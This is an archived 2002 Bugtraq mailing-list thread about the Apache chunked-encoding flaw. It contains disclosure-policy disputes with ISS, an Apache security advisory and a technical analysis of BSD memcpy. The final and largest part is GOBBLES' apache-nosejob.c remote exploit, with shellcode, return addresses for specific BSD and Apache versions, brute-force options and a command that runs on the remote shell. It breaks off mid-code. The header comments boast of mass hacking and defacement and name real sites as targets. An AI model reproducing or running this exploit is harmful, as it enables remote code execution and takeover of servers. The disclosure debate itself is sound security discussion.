------------------------------------------------------------
From: Kee Hinckley <nazgul@somewhere.com>
To: "Klaus, Chris (ISSAtlanta)" <CKlaus@iss.net>
Cc: "'bugtraq@securityfocus.com'" <bugtraq@securityfocus.com>
Message-ID: <p05111a03b9392a7c8d50@[192.168.1.104]>
At 6:06 PM -0400 6/20/02, Klaus, Chris (ISSAtlanta) wrote:
>In the case of this advisory, ISS X-Force provided an Apache patch and did
>not see a need for a long quiet period.
I do not believe that there are any circumstances in which a
non-vendor provided patch can be considered equivalent to a quiet
period. The belief that you can just issue a patch and consider the
problem solved shows a complete lack of understanding for the
software development process. Review, testing, and QA are all part
of that process--a third party patch is no substitute for those. And
no security researcher can claim to have a better understanding of
the ramifications of a problem than the vendor. This behavior also
completely ignores the fact that even for Open Source software there
is an issue of binary-only distributors who need to be given a
heads-up.
>Due to the general nature of open-source and its openness, the virtual
>organizations behind the projects do not have an ability to enforce strict
>confidentiality. By notifying the open source project, its nature is that
>the information is quickly spread in the wild disregarding any type of quiet
>period. ISS X-Force minimizes the quiet period and delay of protecting
>customers by providing a security patch.
You're kidding, right? "We had to make it public because we didn't
trust the vendor to keep it secret"? I expected an apology from
you--not a an attempt to justify your behavior. Some people just
don't know how to say, "Oops, I was wrong."
I see absolutely no reason that notification of open-source projects
should follow rules any different than those for closed-source
projects. The only time you should issue a patch without prior
notification is if there is no known maintainer for the software--and
even then it would be wise to run the patch by other people who use
the software first. ISS's behavior here has been completely
irresponsible, and has potential to seriously damage the reputation
of the Apache software. And as one of the thousands of system
administrators currently scrambling to update multiple servers on
multiple platforms scattered on hosting providers around the world, I
sincerely hope that ISS will retract this new definition of "quiet
period" that they have invented.
--
Kee Hinckley - Somewhere.Com, LLC
http://consulting.somewhere.com/
I'm not sure which upsets me more: that people are so unwilling to
accept responsibility for their own actions, or that they are so
eager to regulate everyone else's.
(8631590) /Kee Hinckley <nazgul@somewhere.com>/(Ombruten)
8631653 2002-06-21 15:53 -0400 /96 rader/ Kevin Spett <kspett@spidynamics.com>
Sänt av: joel@lysator.liu.se
Importerad: 2002-06-22 01:00 av Brevbäraren
Extern mottagare: Klaus, Chris (ISSAtlanta) <CKlaus@iss.net>
Extern mottagare: bugtraq@securityfocus.com
Mottagare: Bugtraq (import) <22784>
Kommentar till text 8631245 av Klaus, Chris (ISSAtlanta) <CKlaus@iss.net>
Ärende: Re: ISS Apache Advisory Response
------------------------------------------------------------
From: "Kevin Spett" <kspett@spidynamics.com>
To: "Klaus, Chris (ISSAtlanta)" <CKlaus@iss.net>,
<bugtraq@securityfocus.com>
Message-ID: <001b01c2195d$5cad2820$4501020a@nunhunter>
> 1) Our policy for publishing advisories is to give a vendor 30 to 45
> day quiet period to provide an opportunity to create a patch or work
around.
> If an exploit for the vulnerability appears in the wild, or a patch and
> work-around is provided by the vendor or ISS X-Force, this quiet period is
> disregarded and the ISS X-Force advisory is published immediately.
>
> In the case of this advisory, ISS X-Force provided an Apache patch and did
> not see a need for a long quiet period.
> 2) The original ISS X-Force Apache Patch did work properly against
the
> specific vulnerability described by X-Force, despite claims that it did
not.
> The Apache and CERT advisories on their websites have been corrected to
> reflect this.
If you confirm things with the vendor first, you won't have the kind
of confusion that ensued. When WebInspect users called me asking
what we meant by "the patch supplied by ISS is disputed by the Apache
Software Foundation" I had to explain to them that basically they had
the choice of shutting down their production servers or deciding to
trust a patch that wasn't confirmed by Apache. I'm sure many other
security professionals and system administrators had similar
experiences.
> 3) ISS was not aware of other researchers discovering this
> vulnerability nor aware of it in the wild at the time of the release of
the
> advisory.
> 5) The Gobbles' exploit has confirmed our decision to release as soon
> as possible based on our assumption that others were likely to discover
the
> same vulnerability in the wild.
Did you assume that other people had discovered this or not? Playing
this "Well, we had no PROOF that is was known but we ASSUMED that it
did so we can behave in whatever way we want and justify it with
either one" game is silly.
> 6) We do not view this as a race to beat other researchers to
releasing
> an advisory, but a race to protect our customers in a timely manner.
Chris Rouland's statements to CNN
(http://www.cnn.com/2002/TECH/industry/06/18/computer.security.ap/index.html
) make me doubt this: "Complicating the matter, Rouland said he
didn't trust Cox, who along with his Apache duties is the senior
director of engineering at Red Hat Software, which distributes the
Linux operating system. Rouland accused Red Hat of taking credit for
earlier ISS research. " This is clearly simple, petty jealousy before
responsibility. You want credit just like everyone else does, of
course, but come on... And Apache did give proper credit after all.
(http://httpd.apache.org/info/security_bulletin_20020620.txt)
> Due to the general nature of open-source and its openness, the virtual
> organizations behind the projects do not have an ability to enforce strict
> confidentiality. By notifying the open source project, its nature is that
> the information is quickly spread in the wild disregarding any type of
quiet
> period. ISS X-Force minimizes the quiet period and delay of protecting
> customers by providing a security patch.
This is obviously ridiculous. It sounds like something Microsoft
would say in one of their FUD campaigns. This gist here is that
open-source software projects are inherently incapable of
confidentiality in dealing with sensitive issues. I suppose all of
the Apache users in the world would have instantly known if you had
sent an email to the lead developers? Throwing out garbage
terminology like "virtual organizations" is marketting and business
talk that doesn't belong on Bugtraq. I know just as well as anyone
else reading this list that any organization is made up of people and
people can be dealt with like people. If the group of people that
had known about the issue had gotten large enough that it spread to
someone that developed an exploit using this new information and the
exploit in turn began to spread and was being used in the wild, you
could've released the advisory THEN. But X-Force didn't even bother.
In any case, the WORST that would've happened is that a whole bunch
of people would've found out about the vulnerability before there was
a known and confirmed patch available-- which was exactly what
happened when X-Force DIDN'T notify Apache. If your above theory
held water (and assuming Mark Cox wasn't lying) we all would've known
about the vulnerability before three days ago because it was
previously reported. Clinging to that argument after the fact is
absurd.
Kevin Spett
SPI Dynamics, Inc.
http://www.spidynamics.com
(8631653) /Kevin Spett <kspett@spidynamics.com>/(Ombruten)
8631292 2002-06-21 00:54 -0400 /63 rader/ <jwoolley@apache.org>
Sänt av: joel@lysator.liu.se
Importerad: 2002-06-21 21:44 av Brevbäraren
Extern mottagare: announce@apache.org
Extern mottagare: announce@httpd.apache.org
Extern kopiemottagare: bugtraq@securityfocus.com
Mottagare: Bugtraq (import) <22773>
Ärende: [SECURITY] Remote exploit for 32-bit Apache HTTP Server known
------------------------------------------------------------
From: jwoolley@apache.org
To: announce@apache.org, <announce@httpd.apache.org>
Cc: bugtraq@securityfocus.com
Message-ID: <Pine.LNX.4.44.0206210048020.20566-100000@deepthought.cs.virginia.edu>
[[ Note: this issue affects both 32-bit and 64-bit platforms; the
subject of this message emphasizes 32-bit platforms since that
is the most important information not announced in our previous
advisory. ]]
SUPERSEDES: http://httpd.apache.org/info/security_bulletin_20020617.txt
Date: June 20, 2002 Product: Apache Web Server Versions: Apache 1.3
all versions including 1.3.24; Apache 2.0 all versions up to 2.0.36;
Apache 1.2 all versions.
CAN-2002-0392 (mitre.org) [CERT VU#944335]
----------------------------------------------------------
------------UPDATED ADVISORY------------
----------------------------------------------------------
Introduction:
While testing for Oracle vulnerabilities, Mark Litchfield discovered
a denial of service attack for Apache on Windows. Investigation by
the Apache Software Foundation showed that this issue has a wider
scope, which on some platforms results in a denial of service
vulnerability, while on some other platforms presents a potential
remote exploit vulnerability.
This follow-up to our earlier advisory is to warn of known-exploitable
conditions related to this vulnerability on both 64-bit platforms and
32-bit platforms alike. Though we previously reported that 32-bit
platforms were not remotely exploitable, it has since been proven by
Gobbles that certain conditions allowing exploitation do exist.
Successful exploitation of this vulnerability can lead to the
execution of arbitrary code on the server with the permissions of the
web server child process. This can facilitate the further
exploitation of vulnerabilities unrelated to Apache on the local
system, potentially allowing the intruder root access.
Note that early patches for this issue released by ISS and others do
not address its full scope.
Due to the existence of exploits circulating in the wild for some
platforms, the risk is considered high.
The Apache Software Foundation has released versions 1.3.26 and 2.0.39
that address and fix this issue, and all users are urged to upgrade
immediately; updates can be downloaded from http://httpd.apache.org/ .
As a reminder, we respectfully request that anyone who finds a
potential vulnerability in our software reports it to
security@apache.org.
----------------------------------------------------------
The full text of this advisory including additional details is
available at
http://httpd.apache.org/info/security_bulletin_20020620.txt .
(8631292) /<jwoolley@apache.org>/---------(Ombruten)
8631679 2002-06-21 10:15 +0100 /66 rader/ Ben Laurie <ben@algroup.co.uk>
Sänt av: joel@lysator.liu.se
Importerad: 2002-06-22 01:22 av Brevbäraren
Extern mottagare: Stefan Esser <sesser@php.net>
Extern kopiemottagare: bugtraq@securityfocus.com
Extern kopiemottagare: vuln-dev@securityfocus.com
Mottagare: Bugtraq (import) <22788>
Kommentar till text 8628907 av Stefan Esser <sesser@php.net>
Ärende: Re: Apache Exploit
------------------------------------------------------------
From: Ben Laurie <ben@algroup.co.uk>
To: Stefan Esser <sesser@php.net>
Cc: bugtraq@securityfocus.com, vuln-dev@securityfocus.com
Message-ID: <3D12EE9D.6000307@algroup.co.uk>
Stefan Esser wrote:
> Hi,
>
> i heard several people looking at the gobbles exploit and believing it
> can only be fake:
>
> here is my little explanation how bsd memcpy can be exploited:
>
> first a snipset of the bsd memcpy code:
>
> ...
> 1:
> addl %ecx,%edi /* copy backwards. */
> addl %ecx,%esi
> std
> [1] andl $3,%ecx /* any fractional bytes? */
> decl %edi
> decl %esi
> rep
> movsb
> [X] movl 20(%esp),%ecx /* copy remainder by words */
> shrl $2,%ecx
> subl $3,%esi
> subl $3,%edi
> rep
> movsl
> ...
>
> In Apache we trigger exactly this piece of code: bsd thinks the two
> buffers are overlapping and so it wants to copy backward.
> The problem is that you are able to overwrite the call to memcpy
> including the supplied paramters (dst, src, length). With up to
> 3 bytes ([1]) depending on alignment. if you align everything perfectly
> you can set the 3 high bytes of length to zero and so change how many
> dwords memcpy tries to copy in our case 0x000000??
> This is only possible because the code reads the length param again from
> stack [X]... This way you can easily survive the call and overwrite
> the saved instruction pointer before the memcpy call...
I should just point out the slight error in this analysis - in fact,
the exploit only overwrites two bytes of the length (incidentally,
the length is also constrained to be its own stack offset, leaving
no room for manouver at all) - so the length is initially -146
(ffffff6e), and after overwriting becomes 0000ff6e, copying just
under 64k onto the stack, which is plenty for a standard stack-based
shellcode exploit.
I've also checked, and FreeBSD is indeed vulnerable in the same way,
but the glibc implementation I have seen of memcpy is not, so if
Linux is vulnerable, its by another route. I haven't looked at
Solaris.
Cheers,
Ben.
--
http://www.apache-ssl.org/ben.html http://www.thebunker.net/
"There is no limit to what a man can do or how far he can go if he
doesn't mind who gets the credit." - Robert Woodruff
(8631679) /Ben Laurie <ben@algroup.co.uk>/(Ombruten)
8632069 2002-06-21 21:44 -0700 /26 rader/ <gobbles@hushmail.com>
Sänt av: joel@lysator.liu.se
Importerad: 2002-06-22 08:28 av Brevbäraren
Extern mottagare: bugtraq@securityfocus.com
Extern kopiemottagare: da@securityfocus.com
Extern kopiemottagare: aleph1@securityfocus.com
Extern kopiemottagare: ah@securityfocus.com
Mottagare: Bugtraq (import) <22792>
Ärende: Ending a few arguments with one simple attachment.
------------------------------------------------------------
From: gobbles@hushmail.com
To: bugtraq@securityfocus.com
Cc: da@securityfocus.com, aleph1@securityfocus.com,
ah@securityfocus.com
Message-ID: <200206220444.g5M4ihD89851@mailserver1.hushmail.com>
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
There seems to be some confusion about whether or not this bug can be
exploited on any other operating systems than OpenBSD. Here's a
second version of our private exploit, apache-massacre.c, called
apache-nosejob.c. Used correctly, it will successfully exploit any
vulnerable Free/Net/OpenBSD (x86) machine.
Over the weekend and during next week we'll release a few more pieces
of tasty candy, including GeneralCuster.exe, and quite possibly
apache-massacre.c.
The mailing lists may now return to their normal level of mediocrity
until we're ready to publicize some more warez.
- -GOBBLES Security
-----BEGIN PGP SIGNATURE-----
Version: Hush 2.1
Note: This signature can be verified at https://www.hushtools.com
wlwEARECABwFAj0UAMIVHGdvYmJsZXNAaHVzaG1haWwuY29tAAoJEBzRp5chmbAPix0A
n3+UQy72ENv6KSwlcDNM12YrLQmdAJ9PTEjb5N4gyGm/hkgdMXjcHTF8pA==
=X2Lc
-----END PGP SIGNATURE-----
(8632069) /<gobbles@hushmail.com>/--------(Ombruten)
Bilaga (application/octet-stream) i text 8632070
Bilaga (text/plain) i text 8632071
Kommentar i text 8633140 av KF <dotslash@snosoft.com>
8632070 2002-06-21 21:44 -0700 /702 rader/ <gobbles@hushmail.com>
Bilagans filnamn: "apache-nosejob.c"
Importerad: 2002-06-22 08:28 av Brevbäraren
Extern mottagare: bugtraq@securityfocus.com
Extern kopiemottagare: da@securityfocus.com
Extern kopiemottagare: aleph1@securityfocus.com
Extern kopiemottagare: ah@securityfocus.com
Mottagare: Bugtraq (import) <22793>
Bilaga (text/plain) till text 8632069
Ärende: Bilaga (apache-nosejob.c) till: Ending a few arguments with one simple attachment.
------------------------------------------------------------
/*
* apache-nosejob.c - Now with FreeBSD & NetBSD targets ;>
*
* !! THIS EXPLOIT IS NOW PRIVATE ON BUGTRAQ !!
*
* USE BRUTE FORCE ! "AUTOMATED SCRIPT KIDDY" ! USE BRUTE FORCE !
*
* YEZ!$#@ YOU CAN EVEN DEFACE BUGTRAQ.ORG!
*
* Your high priced security consultant's plane ticket: $1500
* Your high priced security consultant's time: $200/hour
* RealSecure nodes all over your company: $200,000
* Getting owned by 0day: Priceless
*
* * BEG FOR FAVOR * BEG FOR FAVOR * BEG FOR FAVOR * BEG FOR FAVOR *
* If somebody could do us a big favor and contact Jennifer Garner and ask
* her to make a journey to Vegas this summer for Defcon, to hang out with
* the members of GOBBLES Security who are all huge fans of hers, we would
* be eternally grateful. We are 100% serious about this. We would love
* to have a chance to sit down and have a nice conversation with her during
* the conference -- something little to make our lives feel more complete.
*
* Just show her this picture, and she'll understand that we're not some
* crazy obsessive fanatical lunatics that she would want to avoid. ;-)
* http://phrack.org/summercon2002/GOBBLES_show.jpg
* We even promise to keep our clothes on!
*
* Thx to all those GOBBLES antagonizers. Your insults fuel our desire to
* work harder to gain more fame.
*
* This exploit brought to you by a tagteam effort between GOBBLES Security
* and ISS X-Forces. ISS supplied the silly mathematical computations and
* other abstract figures declaring the exploitation of this bug to be
* impossible, without factoring in the chance that there might be other
* conditions present that would allow exploitation. After the failure of
* ISS' Santa Claus, GOBBLES Security didn't want to disappoint the kids and
* the security consultants and have brought forth a brand new shiny toy for
* all to marvel at.
*
* GOBBLES Security Sex Force: A lot of companies like to let you know
* their employees have the biggest dicks. We're firm believers in the
* idea that it's not the size of the wave, but rather the motion of the
* ocean -- we have no choice anyway.
*
* 3APAPAPA said this can't be done on FreeBSD. He probably also thinks
* qmail can't be exploited remotely. Buzzz! There we go speaking through
* our asses again. Anyways we're looking forward to his arguments on why
* this isn't exploitable on Linux and Solaris. Lead, follow, or get the
* fuck out of the way.
*
* Weigh the chances of us lying about the Linux version. Hmm, well so far
* we've used a "same shit, different smell" approach on *BSD, so you could
* be forgiven for thinking we have no Linux version. Then bring in the
* reverse psychology factor of this paragraph that also says we don't have
* one. But we'd say all of the above to make you believe us. This starts to
* get really complicated.
*
* ---
* God knows I'm helpless to speak
* On my own behalf
* God is as helpless as me
* Caught in the negatives
* We all just do as we please
* False transmissions
* I hope God forgives me
* For my transgressions
*
* It's what you want
* To know no consequences
* It's what you need
* To fucking bleed
* It's all too much
* ---
*
* Changes:
* + can do hostname resolution
* + uses getopt()
* + works against freebsd and netbsd now
* + ability to execute custom commands when shellcode replies -- great for
* mass hacking
* + rand() value bitshifted for more randomness in our progress bar tongues
* + more targets ;> BUT REMEMBER BRUTE FORCE MODE!!!
* + [RaFa] complained that the first version didn't let him hack through
* proxies. New shellcode has been added for additional fun. It's real
* funky, monkey, do you trust? Didn't think so.
*
* Fun to know:
* + Most apache installations don't even log the attack
* + GOBBLES Security is not playing games anymore.
* + GOBBLES Security has more active members than w00w00.
* + w00w00.org is still vulnerable to this exploit.
* + w00w00 might release another AIM advisory soon about how evil the
* whole DMCA thing is. *yawn*
*
* Fun to do:
* + Spot the #openbsd operator who can figure out how to use this!
* + Join #snort and laugh at their inadequacies
* + Question the effectiveness of Project Honeynet, when they have yet
* to discover the exploitation of a single "0day" vulnerability in the
* wild. HURRY UP B0YZ 4ND H4CK Y0UR 0WN H0N3YP0TZ N0W W1TH 4LL Y0UR
* 0DAY T0 PR0V3 US WR0NG!!@# Dumb twats.
*
* 80% of #openbsd won't be patching Apache because:
* + "It's not in the default install"
* + "It's only uid nobody. So what?"
* + "Our memcpy() implementation is not buggy"
* + "I couldn't get the exploit to work, so it must not actually be
* exploitable. Stupid GOBBLES wasting my time with nonsense"
* + jnathan's expert advice to his peers is that "this is not much of
* a security issue" -- @stake + w00w00 + snort brain power in action!
*
* Testbeds: hotmail.com, 2600.com, w00w00.org, efnet.org, atstake.com,
* yahoo.com, project.honeynet.org, pub.seastrom.com
*
* !! NOTICE TO CRITICS !! NOTICE TO CRITICS !! NOTICE TO CRITICS !!
*
* If you're using this exploit against a vulnerable machine (that the
* exploit is supposed to work on, quit mailing us asking why apache-scalp
* doesn't work against Linux -- dumbasses) and it does not succeed, you
* will have to play with the r|d|z values and * BRUTEFORCE * BRUTEFORCE *
* * BRUTEFORCE * BRUTEFORCE * BRUTEFORCE * BRUTEFORCE * BRUTEFORCE *
*
* We wrote this for ethical purposes only. There is such a thing as an
* "ethical hacker" right?
*
* This should make penetration testing _very_ easy. Go out and make some
* money off this, by exploiting the ignorance of some yahoo who will be
* easily ./impressed with your ability to use gcc. No, we won't provide
* you with precompiled binaries. Well, at least for *nix. ;-)
*
* * IMPORTANT ANNOUCEMENT * IMPORTANT ANNOUNCEMENT * IMPORTANT ANNOUCEMENT *
* --- GOBBLES Security is no longer accepting new members. We're now a
* closed group. Of course, we'll still share our warez with the
* community at large, but for the time we have enough members.
*
* Greets to our two newest members:
* -[RaFa], Ambassador to the Underworld
* -pr0ix, Director of Slander and Misinformation
*
* [#!GOBBLES@SECRET_SERVER QUOTES]
*
* --- i wont be surprised that when I return tomorrow morning the
* internet will have come to a grinding halt with people crying for
* medics
* --- the internet will be over in a couple of months
* --- nobody in #openbsd can get it to work... #netbsd people seem to be
* managing fine...
* --- they dont grasp the concept of the base address... i seriously
* thought this was the most kiddie friendly exploit ever released
* --- even bb could get it working. look at vuln-dev
* --- we have to try to bump that threatcon up a notch
* --- what the alldas url now? how many defacements appeared yet?
* --- we should do a poem entitled "default openbsd" and mention how
* it just sits there... inanimate... soon theo will be stripping the
* network code so not even gobkltz.c works... as theo's paranoia
* increases and he becomes out of sync with the real world, strange
* things start to happen with openbsd... CHANGELOG: "now also safe
* from the voices. 6 years without the screaming in the default
* install"
* --- i can port it to windows.. i can make a gui using mfc.. with
* a picture of the skull & crossbones
* --- Has anyone ever been caught by an IDS? I certainly never have.
* This one runs on many machines. It ports to HP-UX.
* --- strange how mr spitzner didn't know honeynet.org was owned
* --- an official openbsd mirror is still vulnerable? dear god they're
* out of it!
* --- I think we're finally famous.
* --- we're on the front page of securityfocus, and we didn't even have
* to deface them! too bad the article wasn't titled, "Hi BlueBoar!"
* --- we need GOBBLES group photos at defcon holding up signs that say
* "The Blue Boar Must Die"
* --- project.honeynet.org is _still_ vulnerable a day after the exploit
* was made public? hahaha!
* --- exploit scanner? www.google.com -- search for poweredby.gif + your
* *bsd of choice!
* --- i stopped taking my antipsychotics last night. say no 2 drugz!
* --- <GOBBLES> antiNSA -- HACKING IS NOT FOR YOU!!!!!!
* --- we wonder how much they'll like GeneralCuster.exe
* --- wonder if ISS will use our code in their "security assesment"
* audits, or if they'll figure out how to exploit this independantly.
* either way they're bound to make a lot of money off us, bastards.
* --- forget w00giving, this year itz thanksgiving.
* --- the traffic to netcraft.com/whats will be through the roof for the
* next few months!
* --- every company with a hub has been sold multiple realsensor units
* --- full disclosure is a necessary evil, so quit your goddamned whining.
* --- people just assume they know what we mean by "testbed"
* --- i can't believe that people still disbelieve in the existance of
* hackers... i mean, what is all this bullshit about people being
* shocked that hackers write programs to break into systems so that
* they can use those programs to break into systems? are their minds
* that small?
* --- we're far from done. . .
*
*/
/*
* apache-scalp.c
* OPENBSD/X86 APACHE REMOTE EXPLOIT!!!!!!!
*
* ROBUST, RELIABLE, USER-FRIENDLY MOTHERFUCKING 0DAY WAREZ!
*
* BLING! BLING! --- BRUTE FORCE CAPABILITIES --- BLING! BLING!
*
* ". . . and Doug Sniff said it was a hole in Epic."
*
* ---
* Disarm you with a smile
* And leave you like they left me here
* To wither in denial
* The bitterness of one who's left alone
* ---
*
* Remote OpenBSD/Apache exploit for the "chunking" vulnerability. Kudos to
* the OpenBSD developers (Theo, DugSong, jnathan, *@#!w00w00, ...) and
* their crappy memcpy implementation that makes this 32-bit impossibility
* very easy to accomplish. This vulnerability was recently rediscovered by a slew
* of researchers.
*
* The "experts" have already concurred that this bug...
* - Can not be exploited on 32-bit *nix variants
* - Is only exploitable on win32 platforms
* - Is only exploitable on certain 64-bit systems
*
* However, contrary to what ISS would have you believe, we have
* successfully exploited this hole on the following operating systems:
*
* Sun Solaris 6-8 (sparc/x86)
* FreeBSD 4.3-4.5 (x86)
* OpenBSD 2.6-3.1 (x86)
* Linux (GNU) 2.4 (x86)
*
* Don't get discouraged too quickly in your own research. It took us close
* to two months to be able to exploit each of the above operating systems.
* There is a peculiarity to be found for each operating system that makes the
* exploitation possible.
*
* Don't email us asking for technical help or begging for warez. We are
* busy working on many other wonderful things, including other remotely
* exploitable holes in Apache. Perhaps The Great Pr0ix would like to inform
* the community that those holes don't exist? We wonder who's paying her.
*
* This code is an early version from when we first began researching the
* vulnerability. It should spawn a shell on any unpatched OpenBSD system
* running the Apache webserver.
*
* We appreciate The Blue Boar's effort to allow us to post to his mailing
* list once again. Because he finally allowed us to post, we now have this
* very humble offering.
*
* This is a very serious vulnerability. After disclosing this exploit, we
* hope to have gained immense fame and glory.
*
* Testbeds: synnergy.net, monkey.org, 9mm.com
*
* Abusing the right syscalls, any exploit against OpenBSD == root. Kernel
* bugs are great.
*
* [#!GOBBLES QUOTES]
*
* --- you just know 28923034839303 admins out there running
* OpenBSD/Apache are going "ugh..not exploitable..ill do it after the
* weekend"
* --- "Five years without a remote hole in the default install". default
* package = kernel. if theo knew that talkd was exploitable, he'd cry.
* --- so funny how apache.org claims it's impossible to exploit this.
* --- how many times were we told, "ANTISEC IS NOT FOR YOU" ?
* --- I hope Theo doesn't kill himself
* --- heh, this is a middle finger to all those open source, anti-"m$"
* idiots... slashdot hippies...
* --- they rushed to release this exploit so they could update their ISS
* scanner to have a module for this vulnerability, but it doesnt even
* work... it's just looking for win32 apache versions
* --- no one took us seriously when we mentioned this last year. we warned
* them that moderation == no pie.
* --- now try it against synnergy :>
* --- ANOTHER BUG BITE THE DUST... VROOOOM VRRRRRRROOOOOOOOOM
*
* xxxx this thing is a major exploit. do you really wanna publish it?
* oooo i'm not afraid of whitehats
* xxxx the blackhats will kill you for posting that exploit
* oooo blackhats are a myth
* oooo so i'm not worried
* oooo i've never seen one
* oooo i guess it's sort of like having god in your life
* oooo i don't believe there's a god
* oooo but if i sat down and met him
* oooo i wouldn't walk away thinking
* oooo "that was one hell of a special effect"
* oooo so i suppose there very well could be a blackhat somewhere
* oooo but i doubt it... i've seen whitehat-blackhats with their ethics
* and deep philosophy...
*
* [GOBBLES POSERS/WANNABES]
*
* --- #!GOBBLES@EFNET (none of us join here, but we've sniffed it)
* --- super@GOBBLES.NET (low-level.net)
*
* GOBBLES Security
* GOBBLES@hushmail.com
* http://www.bugtraq.org
*
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <sys/time.h>
#include <signal.h>
#ifdef __linux__
#include <getopt.h>
#endif
#define HOST_PARAM "apache-nosejob.c" /* The Host: field */
#define DEFAULT_CMDZ "uname -a;id;echo 'hehe, now use another bug/backdoor/feature (hi Theo!) to gain instant r00t';\n"
#define RET_ADDR_INC 512
#define PADSIZE_1 4
#define PADSIZE_2 5
#define PADSIZE_3 7
#define REP_POPULATOR 24
#define REP_SHELLCODE 24
#define NOPCOUNT 1024
#define NOP 0x41
#define PADDING_1 'A'
#define PADDING_2 'B'
#define PADDING_3 'C'
#define PUT_STRING(s) memcpy(p, s, strlen(s)); p += strlen(s);
#define PUT_BYTES(n, b) memset(p, b, n); p += n;
char shellcode[] =
"\x68\x47\x47\x47\x47\x89\xe3\x31\xc0\x50\x50\x50\x50\xc6\x04\x24"
"\x04\x53\x50\x50\x31\xd2\x31\xc9\xb1\x80\xc1\xe1\x18\xd1\xea\x31"
"\xc0\xb0\x85\xcd\x80\x72\x02\x09\xca\xff\x44\x24\x04\x80\x7c\x24"
"\x04\x20\x75\xe9\x31\xc0\x89\x44\x24\x04\xc6\x44\x24\x04\x20\x89"
"\x64\x24\x08\x89\x44\x24\x0c\x89\x44\x24\x10\x89\x44\x24\x14\x89"
"\x54\x24\x18\x8b\x54\x24\x18\x89\x14\x24\x31\xc0\xb0\x5d\xcd\x80"
"\x31\xc9\xd1\x2c\x24\x73\x27\x31\xc0\x50\x50\x50\x50\xff\x04\x24"
"\x54\xff\x04\x24\xff\x04\x24\xff\x04\x24\xff\x04\x24\x51\x50\xb0"
"\x1d\xcd\x80\x58\x58\x58\x58\x58\x3c\x4f\x74\x0b\x58\x58\x41\x80"
"\xf9\x20\x75\xce\xeb\xbd\x90\x31\xc0\x50\x51\x50\x31\xc0\xb0\x5a"
"\xcd\x80\xff\x44\x24\x08\x80\x7c\x24\x08\x03\x75\xef\x31\xc0\x50"
"\xc6\x04\x24\x0b\x80\x34\x24\x01\x68\x42\x4c\x45\x2a\x68\x2a\x47"
"\x4f\x42\x89\xe3\xb0\x09\x50\x53\xb0\x01\x50\x50\xb0\x04\xcd\x80"
"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50"
"\x53\x89\xe1\x50\x51\x53\x50\xb0\x3b\xcd\x80\xcc";
;
struct {
char *type; /* description for newbie penetrator */
int delta; /* delta thingie! */
u_long retaddr; /* return address */
int repretaddr; /* we repeat retaddr thiz many times in the buffer */
int repzero; /* and \0'z this many times */
} targets[] = { // hehe, yes theo, that say OpenBSD here!
{ "FreeBSD 4.5 x86 / Apache/1.3.23 (Unix)", -150, 0x80f3a00, 6, 36 },
{ "FreeBSD 4.5 x86 / Apache/1.3.23 (Unix)", -150, 0x80a7975, 6, 36 },
{ "OpenBSD 3.0 x86 / Apache 1.3.20", -146, 0xcfa00, 6, 36 },
{ "OpenBSD 3.0 x86 / Apache 1.3.22", -146, 0x8f0aa, 6, 36 },
{ "OpenBSD 3.0 x86 / Apache 1.3.24", -146, 0x90600, 6, 36 },
{ "OpenBSD 3.0 x86 / Apache 1.3.24 #2", -146, 0x98a00, 6, 36 },
{ "OpenBSD 3.1 x86 / Apache 1.3.20", -146, 0x8f2a6, 6, 36 },
{ "OpenBSD 3.1 x86 / Apache 1.3.23", -146, 0x90600, 6, 36 },
{ "OpenBSD 3.1 x86 / Apache 1.3.24", -146, 0x9011a, 6, 36 },
{ "OpenBSD 3.1 x86 / Apache 1.3.24 #2", -146, 0x932ae, 6, 36 },
{ "OpenBSD 3.1 x86 / Apache 1.3.24 PHP 4.2.1", -146, 0x1d7a00, 6, 36 },
{ "NetBSD 1.5.2 x86 / Apache 1.3.12 (Unix)", -90, 0x80eda00, 5, 42 },
{ "NetBSD 1.5.2 x86 / Apache 1.3.20 (Unix)", -90, 0x80efa00, 5, 42 },
{ "NetBSD 1.5.2 x86 / Apache 1.3.22 (Unix)", -90, 0x80efa00, 5, 42 },
{ "NetBSD 1.5.2 x86 / Apache 1.3.23 (Unix)", -90, 0x80efa00, 5, 42 },
{ "NetBSD 1.5.2 x86 / Apache 1.3.24 (Unix)", -90, 0x80efa00, 5, 42 },
}, victim;
void usage(void) {
int i;
printf("GOBBLES Security Labs\t\t\t\t\t- apache-nosejob.c\n\n");
printf("Usage: ./apache-nosejob <-switches> -h host[:80]\n");
printf(" -h host[:port]\tHost to penetrate\n");
printf(" -t #\t\t\tTarget id.\n");
printf(" Bruteforcing options (all required, unless -o is used!):\n");
printf(" -o char\t\tDefault values for the following OSes\n");
printf(" \t\t\t(f)reebsd, (o)penbsd, (n)etbsd\n");
printf(" -b 0x12345678\t\tBase address used for bruteforce\n");
printf(" \t\t\tTry 0x80000/obsd, 0x80a0000/fbsd, 0x080e0000/nbsd.\n");
printf(" -d -nnn\t\tmemcpy() delta between s1 and addr to overwrite\n");
printf(" \t\t\tTry -146/obsd, -150/fbsd, -90/nbsd.\n");
printf(" -z #\t\t\tNumbers of time to repeat \\0 in the buffer\n");
printf(" \t\t\tTry 36 for openbsd/freebsd and 42 for netbsd\n");
printf(" -r #\t\t\tNumber of times to repeat retadd in the buffer\n");
printf(" \t\t\tTry 6 for openbsd/freebsd and 5 for netbsd\n");
printf(" Optional stuff:\n");
printf(" -w #\t\t\tMaximum number of seconds to wait for shellcode reply\n");
printf(" -c cmdz\t\tCommands to execute when our shellcode replies\n");
printf(" \t\t\taka auto0wncmdz\n");
printf("\nExamples will be published in upcoming apache-scalp-HOWTO.pdf\n");
printf("\n--- --- - Potential targets list - --- ---- ------- ------------\n");
printf(" ID / Return addr / Target specification\n");
for(i = 0; i < sizeof(targets)/sizeof(victim); i++)
printf("% 3d / 0x%.8lx / %s\n", i, targets[i].retaddr, targets[i].type);
exit(1);
}
int main(int argc, char *argv[]) {
char *hostp, *portp, *cmdz = DEFAULT_CMDZ;
u_char buf[512], *expbuf, *p;
int i, j, lport, sock;
int bruteforce, owned, progress, sc_timeout = 5;
int responses, shown_length = 0;
struct in_addr ia;
struct sockaddr_in sin, from;
struct hostent *he;
if(argc < 4)
usage();
bruteforce = 0;
memset(&victim, 0, sizeof(victim));
while((i = getopt(argc, argv, "t:b:d:h:w:c:r:z:o:")) != -1) {
switch(i) {
/* required stuff */
case 'h':
hostp = strtok(optarg, ":");
